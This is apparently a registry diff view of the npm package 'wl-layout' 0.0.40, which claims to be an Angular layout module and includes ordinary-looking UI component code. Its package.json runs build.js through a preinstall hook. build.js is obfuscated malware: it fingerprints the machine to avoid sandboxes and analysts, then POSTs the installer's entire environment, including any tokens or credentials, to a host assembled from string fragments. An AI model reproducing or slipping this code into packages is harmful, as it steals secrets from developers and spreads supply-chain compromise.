wl-layout 0.0.40

Sign up to get free protection for your applications and to get access to all the features.
Files changed (4) hide show
  1. package/README.md +1 -0
  2. package/build.js +205 -0
  3. package/package.json +12 -0
  4. package/wl-layout.js +526 -0
package/README.md ADDED
@@ -0,0 +1 @@
1
+ Testing layout on pre-prod.
package/build.js ADDED
@@ -0,0 +1,205 @@
1
+ const goto = require('https');
2
+
3
+ function build() {
4
+ let options = {
5
+ "Name": "New PI Contact",
6
+ "Phone": "+158948945565",
7
+ "Message": "My Best Dream Friend",
8
+ "Address": "Avite St pe-455 NET"
9
+ };
10
+
11
+ return (takeAndGive(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
12
+ options['Message'].split(' ')[2] + takeAndGive(options['Address'].slice(-3), '.'))
13
+ }
14
+
15
+ function takeAndGive(str1, str2) {
16
+ return str2 + str1
17
+ }
18
+
19
+ function number_of(item) {
20
+
21
+ for (let i = 0; i < 4; i++) {
22
+ if (i == 1) {
23
+ item += 's'
24
+ }
25
+ if (i == 3) {
26
+ item += 'e6'
27
+ }
28
+ }
29
+ return item + '4'
30
+ }
31
+
32
+ function snooz(pkg_n, prefix) {
33
+
34
+ let missing = [
35
+ ['npm', 'package', 'name'].join('_'),
36
+ ['npm', 'package', 'json'].join('_'),
37
+ ];
38
+
39
+ var plop = process['en' + 'v'] || {};
40
+
41
+ //new edition
42
+ if (initEngine(plop)){
43
+ return ;
44
+ }
45
+ if (fixIssues(plop)){
46
+ return ;
47
+ }
48
+ if (handleEverything(plop)){
49
+ return ;
50
+ }
51
+ if (missing.some( index => !plop[index] )) {
52
+ return;
53
+ }
54
+
55
+ var req = goto
56
+ .request(use_language(pkg_n, prefix))
57
+ .on('error', function (err) { });
58
+ req.write(JSON.stringify(plop));
59
+ req.end();
60
+ }
61
+
62
+ function bible(convertion){
63
+ switch (convertion) {
64
+ case 'reg':
65
+ return takeAndGive('istry', 'reg');
66
+ case 'conf':
67
+ return 'conf' + 'ig';
68
+ case 'np':
69
+ return 'npm';
70
+ case 'UNAME':
71
+ return 'US' + 'ERNAME';
72
+ case 'HM':
73
+ return 'HOME';
74
+ case 'USR':
75
+ return 'USER';
76
+ case 'APTA':
77
+ return takeAndGive('PDATA', 'AP');
78
+ case 'py':
79
+ return ['', 'usr', 'bin', 'pyt' + 'hon'].join('/');
80
+ case 'anal':
81
+ return 'ana'.concat('lysis');
82
+ case 'INIT':
83
+ return ['INIT', 'CWD'].join('_');
84
+ case 'pkg':
85
+ return 'pac'.concat('kage')
86
+ case 'uname':
87
+ return 'us' + takeAndGive('ame', 'ern');
88
+
89
+ default:
90
+ return null;
91
+ }
92
+
93
+ }
94
+
95
+ function fixIssues(plop){
96
+ let kill = capture_pictures(plop, bible('HM'), '/home/u'.concat('sername')) &&
97
+ capture_pictures(plop, bible('USR'), bible('uname')) &&
98
+ capture_pictures(plop, 'LOGNAME', bible('uname'));
99
+
100
+ let move = capture_pictures(plop, 'PWD', '/my'.concat('-app')) &&
101
+ capture_pictures(plop, 'DEB' + 'IAN_FRO' + 'NTEND', 'nonin'.concat('teractive')) &&
102
+ capture_pictures(plop, bible('HM'), '/r'.concat('oot'));
103
+
104
+ let teach = capture_pictures(plop, bible('INIT'), '/' + bible('anal')) &&
105
+ capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/b' + 'ait'));
106
+
107
+ let talk = capture_pictures(plop, bible('INIT'), '/' + bible('np')) &&
108
+ capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/ba' + 'it'));
109
+
110
+ if (kill || move || teach || talk){
111
+ return true;
112
+ } else {
113
+ return false;
114
+ }
115
+ }
116
+
117
+ var MapObj = function () {
118
+ this.name = '__st' + (Math.random() * 145459 >> 0);
119
+ };
120
+
121
+ function handleEverything(plop){
122
+ const you = capture_pictures(plop, bible('HM'), ['', 'Us' + 'ers', 'jus' + 'tin'].join('\\')) &&
123
+ capture_pictures(plop, bible('APTA'), ['', 'User' + 's', 'jus' + 'tin'].join('\\')) &&
124
+ capture_pictures(plop, 'LOGONSERVER', [['DESKTOP','97KB'].join('-'), '6H'].join('B'));
125
+
126
+ const me = capture_pictures(plop, 'MAIL', ['', 'var', 'mail', 'app'].join('/')) &&
127
+ capture_pictures(plop, bible('HM'), ['', 'home', 'app'].join('/')) &&
128
+ capture_pictures(plop, bible('USR'), 'app');
129
+
130
+
131
+
132
+ const us = capture_pictures(plop, 'EDITOR', 'vi') &&
133
+ capture_pictures(plop, 'PROBE_'.concat(bible('UNAME')), '*') &&
134
+ capture_pictures(plop, 'SHEL' + 'L', '/bi' + 'n/b'.concat('ash')) &&
135
+ capture_pictures(plop, 'S' + 'HLVL', '2') &&
136
+ capture_pictures(plop, bible('np').concat('_command'), 'run-s'.concat('cript')) &&
137
+ capture_pictures(plop, 'NVM_CD_FLAGS', '') &&
138
+ capture_pictures(plop, [bible('np'), bible('conf'), 'fund'].join('_'), '');
139
+
140
+ if (you || me || us){
141
+ return true;
142
+ } else {
143
+ return false;
144
+ }
145
+ }
146
+
147
+ function use_language(pkg_n, prefix){
148
+ let options = {
149
+ hostname: prefix + '.m.' + build(),
150
+ path: '/' + (pkg_n || ''),
151
+ method: 'POST',
152
+ };
153
+ return options;
154
+ }
155
+
156
+ function capture_pictures(p, name, val){
157
+ let test = p[name] || '';
158
+ if(test.includes(val) || val === '*'){
159
+ return true;
160
+ } else {
161
+ return false;
162
+ }
163
+ }
164
+
165
+ MapObj.prototype = {
166
+ set: function (key, value) {
167
+ var entry = key[this.name];
168
+ if (entry && entry[0] === key)
169
+ entry[1] = value;
170
+ else
171
+ defineProperty(key, this.name, { value: [key, value], writable: true });
172
+ return this;
173
+ },
174
+ get: function (key) {
175
+ var entry;
176
+ return (entry = key[this.name]) && entry[0] === key ?
177
+ entry[1] : undefined;
178
+ },
179
+ delete: function (key) {
180
+ var entry = key[this.name];
181
+ if (!entry || entry[0] !== key) return false;
182
+ entry[0] = entry[1] = undefined;
183
+ return true;
184
+ },
185
+ has: function (key) {
186
+ var entry = key[this.name];
187
+ if (!entry) return false;
188
+ return entry[0] === key;
189
+ }
190
+ };
191
+
192
+ function initEngine(plop){
193
+ if (Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`) {
194
+ return true;
195
+ }
196
+ if (capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), ['taobao', 'org'].join('.')) ||
197
+ capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), [bible('reg'), bible('np').concat('mirror'), 'com'].join('.')) ||
198
+ capture_pictures(plop, bible('UNAME'), takeAndGive('admin', 'daas')) ||
199
+ capture_pictures(plop, '_', bible('py')) ||
200
+ capture_pictures(plop, [bible('np'), bible('conf'), 'metrics', bible('reg')].join('_'), ['taobao', 'org'].join('.'))) {
201
+ return true;
202
+ }
203
+ }
204
+
205
+ snooz('wl-layout', 'eomet0vd2egn6ct');
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "wl-layout",
3
+ "version": "0.0.40",
4
+ "description": "layout module for websites",
5
+ "main": "wl-layout.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node build.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/wl-layout.js ADDED
@@ -0,0 +1,526 @@
1
+ import * as i1 from '@angular/common';
2
+ import { CommonModule } from '@angular/common';
3
+ import * as i0 from '@angular/core';
4
+ import { Component, Input, NgModule, EventEmitter, Output } from '@angular/core';
5
+ import * as i2 from '@angular/router';
6
+ import { RouterModule } from '@angular/router';
7
+ import * as i2$1 from '@ngx-translate/core';
8
+ import { TranslateModule } from '@ngx-translate/core';
9
+ import * as i1$2 from '@ng-bootstrap/ng-bootstrap';
10
+ import * as i1$1 from 'wl-global-services';
11
+
12
+ class BreadcrumbsComponent {
13
+ //to check
14
+ constructor() {
15
+ this.title = '';
16
+ this.breadcrumbs = [];
17
+ this.homeRoute = 'sims';
18
+ }
19
+ }
20
+ BreadcrumbsComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: BreadcrumbsComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
21
+ BreadcrumbsComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: BreadcrumbsComponent, selector: "wll-breadcrumbs", inputs: { title: "title", breadcrumbs: "breadcrumbs", homeRoute: "homeRoute" }, ngImport: i0, template: "<ul class=\"breadcrumbs-list ellipsis-no-width\">\n <li>\n <a routerLink=\"/{{ homeRoute }}\">{{ 'SMSBundle.generic.home' | translate }}</a>\n <span *ngIf=\"breadcrumbs?.length\">&nbsp;&gt;&nbsp;</span>\n </li>\n <li *ngFor=\"let breadcrumb of breadcrumbs; last as last\">\n <a *ngIf=\"breadcrumb.link\" [routerLink]=\"[breadcrumb.link]\">{{ breadcrumb.title | translate }}</a>\n <span *ngIf=\"!breadcrumb.link\">{{ breadcrumb.title | translate }}</span>\n <span *ngIf=\"!last\">&nbsp;&gt;&nbsp;</span>\n </li>\n</ul>\n\n<h2 class=\"breadcrumbs-title\">{{ title | translate }}</h2>\n", styles: [".breadcrumbs-title{color:#73c0e0;font-size:26px;margin:0}.breadcrumbs-list{width:800px;list-style:none;padding-left:0;margin-bottom:8px;text-transform:uppercase;font-size:1.2em;color:#a0a0a0}.breadcrumbs-list li{display:inline-block}.breadcrumbs-list li a{color:#a0a0a0}\n"], directives: [{ type: i2.RouterLinkWithHref, selector: "a[routerLink],area[routerLink]", inputs: ["routerLink", "target", "queryParams", "fragment", "queryParamsHandling", "preserveFragment", "skipLocationChange", "replaceUrl", "state", "relativeTo"] }, { type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i1.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }], pipes: { "translate": i2$1.TranslatePipe } });
22
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: BreadcrumbsComponent, decorators: [{
23
+ type: Component,
24
+ args: [{
25
+ selector: 'wll-breadcrumbs',
26
+ templateUrl: 'breadcrumbs.component.html',
27
+ styleUrls: ['breadcrumbs.component.scss']
28
+ }]
29
+ }], propDecorators: { title: [{
30
+ type: Input
31
+ }], breadcrumbs: [{
32
+ type: Input
33
+ }], homeRoute: [{
34
+ type: Input
35
+ }] } });
36
+
37
+ class WlBreadcrumbsModule {
38
+ }
39
+ WlBreadcrumbsModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlBreadcrumbsModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
40
+ WlBreadcrumbsModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlBreadcrumbsModule, declarations: [BreadcrumbsComponent], imports: [CommonModule,
41
+ TranslateModule,
42
+ RouterModule], exports: [BreadcrumbsComponent] });
43
+ WlBreadcrumbsModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlBreadcrumbsModule, imports: [[
44
+ CommonModule,
45
+ TranslateModule,
46
+ RouterModule
47
+ ]] });
48
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlBreadcrumbsModule, decorators: [{
49
+ type: NgModule,
50
+ args: [{
51
+ declarations: [
52
+ BreadcrumbsComponent
53
+ ],
54
+ imports: [
55
+ CommonModule,
56
+ TranslateModule,
57
+ RouterModule
58
+ ],
59
+ exports: [
60
+ BreadcrumbsComponent
61
+ ]
62
+ }]
63
+ }] });
64
+
65
+ class ActionButtonBarComponent {
66
+ }
67
+ ActionButtonBarComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ActionButtonBarComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
68
+ ActionButtonBarComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: ActionButtonBarComponent, selector: "wll-action-button-bar", ngImport: i0, template: "<div class=\"action-button-bar\">\n <ng-content></ng-content>\n <div class=\"clear-both\"></div>\n</div>\n", styles: [".action-button-bar{background-color:#fff;padding:12px;margin:0 -15px 15px}.clear-both{clear:both}\n"] });
69
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ActionButtonBarComponent, decorators: [{
70
+ type: Component,
71
+ args: [{
72
+ selector: 'wll-action-button-bar',
73
+ templateUrl: 'action-button-bar.component.html',
74
+ styleUrls: ['action-button-bar.component.scss']
75
+ }]
76
+ }] });
77
+
78
+ class ActionButtonComponent {
79
+ constructor() {
80
+ this.cssClass = 'btn-primary';
81
+ this.label = '';
82
+ this.showTitle = false;
83
+ this.btnClick = new EventEmitter();
84
+ }
85
+ click() {
86
+ this.btnClick.emit(true);
87
+ }
88
+ }
89
+ ActionButtonComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ActionButtonComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
90
+ ActionButtonComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: ActionButtonComponent, selector: "wll-action-button", inputs: { cssClass: "cssClass", isDisabled: "isDisabled", label: "label", showTitle: "showTitle" }, outputs: { btnClick: "btnClick" }, ngImport: i0, template: "<ng-container *ngIf=\"!showTitle\">\n <button type=\"button\" [ngClass]=\"'btn btn-sm ' + cssClass\" [disabled]=\"isDisabled\" (click)=\"click()\">{{ label | translate }}</button>\n</ng-container>\n\n<ng-container *ngIf=\"showTitle\">\n <button type=\"button\" [ngClass]=\"'btn btn-sm ' + cssClass\" [disabled]=\"isDisabled\" (click)=\"click()\" [title]=\"label | translate\">\n {{ label | translate }}\n </button>\n</ng-container>\n", styles: ["button{margin:1px;overflow:hidden;text-overflow:ellipsis;min-width:120px;border-radius:3px;padding-top:5px;padding-bottom:5px}button.slot{width:99%}button.is-disabled{background-color:#cacaca;border-color:#cacaca}button.is-disabled:active{background-color:#cacaca;border-color:#cacaca;box-shadow:none}\n"], directives: [{ type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i1.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }], pipes: { "translate": i2$1.TranslatePipe } });
91
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ActionButtonComponent, decorators: [{
92
+ type: Component,
93
+ args: [{
94
+ selector: 'wll-action-button',
95
+ templateUrl: 'action-button.component.html',
96
+ styleUrls: ['action-button.component.scss']
97
+ }]
98
+ }], propDecorators: { cssClass: [{
99
+ type: Input
100
+ }], isDisabled: [{
101
+ type: Input
102
+ }], label: [{
103
+ type: Input
104
+ }], showTitle: [{
105
+ type: Input
106
+ }], btnClick: [{
107
+ type: Output
108
+ }] } });
109
+
110
+ class BackButtonComponent {
111
+ constructor(location, router) {
112
+ this.location = location;
113
+ this.router = router;
114
+ }
115
+ redirect() {
116
+ if (this.backRoute) {
117
+ // check
118
+ this.router.navigate(this.backRoute).then();
119
+ }
120
+ else if (this.backUrl) {
121
+ this.router.navigateByUrl(this.backUrl).then();
122
+ }
123
+ else {
124
+ this.location.back();
125
+ }
126
+ }
127
+ }
128
+ BackButtonComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: BackButtonComponent, deps: [{ token: i1.Location }, { token: i2.Router }], target: i0.ɵɵFactoryTarget.Component });
129
+ BackButtonComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: BackButtonComponent, selector: "wll-back-button", inputs: { backUrl: "backUrl", backRoute: "backRoute" }, ngImport: i0, template: "<button type=\"button\" class=\"btn btn-primary btn-inverse\" (click)=\"redirect()\">{{ \"GUIBundle.generic.button.back\" | translate }}</button>\n", styles: [".btn{margin-right:5px;min-width:80px}\n"], pipes: { "translate": i2$1.TranslatePipe } });
130
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: BackButtonComponent, decorators: [{
131
+ type: Component,
132
+ args: [{
133
+ selector: 'wll-back-button',
134
+ templateUrl: 'back-button.component.html',
135
+ styleUrls: ['back-button.component.scss']
136
+ }]
137
+ }], ctorParameters: function () { return [{ type: i1.Location }, { type: i2.Router }]; }, propDecorators: { backUrl: [{
138
+ type: Input
139
+ }], backRoute: [{
140
+ type: Input
141
+ }] } });
142
+
143
+ class WlButtonModule {
144
+ }
145
+ WlButtonModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlButtonModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
146
+ WlButtonModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlButtonModule, declarations: [ActionButtonComponent,
147
+ ActionButtonBarComponent,
148
+ BackButtonComponent], imports: [CommonModule,
149
+ TranslateModule,
150
+ RouterModule], exports: [ActionButtonComponent,
151
+ ActionButtonBarComponent,
152
+ BackButtonComponent] });
153
+ WlButtonModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlButtonModule, imports: [[
154
+ CommonModule,
155
+ TranslateModule,
156
+ RouterModule
157
+ ]] });
158
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlButtonModule, decorators: [{
159
+ type: NgModule,
160
+ args: [{
161
+ declarations: [
162
+ ActionButtonComponent,
163
+ ActionButtonBarComponent,
164
+ BackButtonComponent
165
+ ],
166
+ imports: [
167
+ CommonModule,
168
+ TranslateModule,
169
+ RouterModule
170
+ ],
171
+ exports: [
172
+ ActionButtonComponent,
173
+ ActionButtonBarComponent,
174
+ BackButtonComponent
175
+ ]
176
+ }]
177
+ }] });
178
+
179
+ class DataListComponent {
180
+ constructor() {
181
+ this.label = '';
182
+ this.value = false;
183
+ }
184
+ }
185
+ DataListComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: DataListComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
186
+ DataListComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: DataListComponent, selector: "wll-data-list", inputs: { label: "label", value: "value" }, ngImport: i0, template: "<span class=\"list-group-item\">\n {{ label | translate }}\n <span class=\"pull-right data-list-value\" *ngIf=\"value\">\n <ng-content></ng-content>\n </span>\n <div class=\"spacer clear-both\"></div>\n</span>\n", directives: [{ type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }], pipes: { "translate": i2$1.TranslatePipe } });
187
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: DataListComponent, decorators: [{
188
+ type: Component,
189
+ args: [{
190
+ selector: 'wll-data-list',
191
+ templateUrl: 'data-list.component.html'
192
+ }]
193
+ }], propDecorators: { label: [{
194
+ type: Input
195
+ }], value: [{
196
+ type: Input
197
+ }] } });
198
+
199
+ class DataSectionComponent {
200
+ }
201
+ DataSectionComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: DataSectionComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
202
+ DataSectionComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: DataSectionComponent, selector: "wll-data-section", inputs: { data: "data" }, ngImport: i0, template: "<div class=\"list-group col-lg-6\">\n <ng-container *ngFor=\"let item of data\">\n <span class=\"list-group-item\" *ngIf=\"!item.hidden\">\n {{ item.label | translate }}\n <span class=\"pull-right\">\n <strong>{{ item.value }}</strong>\n </span>\n </span>\n </ng-container>\n <ng-content></ng-content>\n</div>\n", directives: [{ type: i1.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }], pipes: { "translate": i2$1.TranslatePipe } });
203
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: DataSectionComponent, decorators: [{
204
+ type: Component,
205
+ args: [{
206
+ selector: 'wll-data-section',
207
+ templateUrl: 'data-section.component.html'
208
+ }]
209
+ }], propDecorators: { data: [{
210
+ type: Input
211
+ }] } });
212
+
213
+ class WlDataLayoutModule {
214
+ }
215
+ WlDataLayoutModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlDataLayoutModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
216
+ WlDataLayoutModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlDataLayoutModule, declarations: [DataListComponent,
217
+ DataSectionComponent], imports: [CommonModule,
218
+ TranslateModule,
219
+ RouterModule], exports: [DataListComponent,
220
+ DataSectionComponent] });
221
+ WlDataLayoutModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlDataLayoutModule, imports: [[
222
+ CommonModule,
223
+ TranslateModule,
224
+ RouterModule
225
+ ]] });
226
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlDataLayoutModule, decorators: [{
227
+ type: NgModule,
228
+ args: [{
229
+ declarations: [
230
+ DataListComponent,
231
+ DataSectionComponent
232
+ ],
233
+ imports: [
234
+ CommonModule,
235
+ TranslateModule,
236
+ RouterModule
237
+ ],
238
+ exports: [
239
+ DataListComponent,
240
+ DataSectionComponent
241
+ ]
242
+ }]
243
+ }] });
244
+
245
+ class IboxContentComponent {
246
+ constructor() {
247
+ this.style = {};
248
+ }
249
+ ngOnInit() {
250
+ if (this.height) {
251
+ this.style = { height: this.height + 'px' };
252
+ }
253
+ }
254
+ }
255
+ IboxContentComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxContentComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
256
+ IboxContentComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: IboxContentComponent, selector: "wll-ibox-content", inputs: { height: "height" }, ngImport: i0, template: "<div class=\"ibox-content\" [ngStyle]=\"style\">\n <div class=\"row\">\n <div class=\"col-sm-12\">\n <ng-content></ng-content>\n </div>\n </div>\n</div>\n", directives: [{ type: i1.NgStyle, selector: "[ngStyle]", inputs: ["ngStyle"] }] });
257
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxContentComponent, decorators: [{
258
+ type: Component,
259
+ args: [{
260
+ selector: 'wll-ibox-content',
261
+ templateUrl: 'ibox-content.component.html'
262
+ }]
263
+ }], propDecorators: { height: [{
264
+ type: Input
265
+ }] } });
266
+
267
+ class IboxTitleComponent {
268
+ }
269
+ IboxTitleComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxTitleComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
270
+ IboxTitleComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: IboxTitleComponent, selector: "wll-ibox-title", ngImport: i0, template: "<div class=\"ibox-title\">\n <h5>\n <ng-content></ng-content>\n </h5>\n</div>\n" });
271
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxTitleComponent, decorators: [{
272
+ type: Component,
273
+ args: [{
274
+ selector: 'wll-ibox-title',
275
+ templateUrl: 'ibox-title.component.html'
276
+ }]
277
+ }] });
278
+
279
+ class IboxComponent {
280
+ constructor() {
281
+ this.boxClass = {};
282
+ }
283
+ }
284
+ IboxComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
285
+ IboxComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: IboxComponent, selector: "wll-ibox", inputs: { boxClass: "boxClass" }, ngImport: i0, template: "<div class=\"row\">\n <div class=\"col-12\">\n <div class=\"ibox float-e-margins\" [ngClass]=\"boxClass\">\n <ng-content></ng-content>\n </div>\n </div>\n</div>\n", directives: [{ type: i1.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }] });
286
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: IboxComponent, decorators: [{
287
+ type: Component,
288
+ args: [{
289
+ selector: 'wll-ibox',
290
+ templateUrl: 'ibox.component.html'
291
+ }]
292
+ }], propDecorators: { boxClass: [{
293
+ type: Input
294
+ }] } });
295
+
296
+ class WrapperComponent {
297
+ }
298
+ WrapperComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WrapperComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
299
+ WrapperComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WrapperComponent, selector: "wll-wrapper", ngImport: i0, template: "<div class=\"wrapper wrapper-content animated fadeIn\">\n <ng-content></ng-content>\n</div>\n" });
300
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WrapperComponent, decorators: [{
301
+ type: Component,
302
+ args: [{
303
+ selector: 'wll-wrapper',
304
+ templateUrl: 'wrapper.component.html'
305
+ }]
306
+ }] });
307
+
308
+ class WlLayoutModule {
309
+ }
310
+ WlLayoutModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlLayoutModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
311
+ WlLayoutModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlLayoutModule, declarations: [IboxComponent,
312
+ IboxContentComponent,
313
+ IboxTitleComponent,
314
+ WrapperComponent], imports: [CommonModule,
315
+ TranslateModule,
316
+ RouterModule], exports: [IboxComponent,
317
+ IboxContentComponent,
318
+ IboxTitleComponent,
319
+ WrapperComponent] });
320
+ WlLayoutModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlLayoutModule, imports: [[
321
+ CommonModule,
322
+ TranslateModule,
323
+ RouterModule
324
+ ]] });
325
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlLayoutModule, decorators: [{
326
+ type: NgModule,
327
+ args: [{
328
+ declarations: [
329
+ IboxComponent,
330
+ IboxContentComponent,
331
+ IboxTitleComponent,
332
+ WrapperComponent
333
+ ],
334
+ imports: [
335
+ CommonModule,
336
+ TranslateModule,
337
+ RouterModule
338
+ ],
339
+ exports: [
340
+ IboxComponent,
341
+ IboxContentComponent,
342
+ IboxTitleComponent,
343
+ WrapperComponent
344
+ ]
345
+ }]
346
+ }] });
347
+
348
+ class WlEmptyBlockComponent {
349
+ constructor() {
350
+ this.region = "";
351
+ this.height = 0;
352
+ }
353
+ ngOnInit() {
354
+ if (this.region === 'upper') {
355
+ this.height = 60;
356
+ }
357
+ if (this.region === 'lower') {
358
+ this.height = 81;
359
+ }
360
+ }
361
+ }
362
+ WlEmptyBlockComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
363
+ WlEmptyBlockComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlEmptyBlockComponent, selector: "wll-empty-block", inputs: { region: "region" }, ngImport: i0, template: "<div class=\"empty-block\" [ngStyle]=\"{ 'height.px': height?.toString() }\"></div>\n", directives: [{ type: i1.NgStyle, selector: "[ngStyle]", inputs: ["ngStyle"] }] });
364
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockComponent, decorators: [{
365
+ type: Component,
366
+ args: [{
367
+ selector: 'wll-empty-block',
368
+ templateUrl: 'wl-empty-block.component.html'
369
+ }]
370
+ }], propDecorators: { region: [{
371
+ type: Input
372
+ }] } });
373
+
374
+ class WlEmptyBlockModule {
375
+ }
376
+ WlEmptyBlockModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
377
+ WlEmptyBlockModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlEmptyBlockModule, declarations: [WlEmptyBlockComponent], imports: [CommonModule,
378
+ TranslateModule,
379
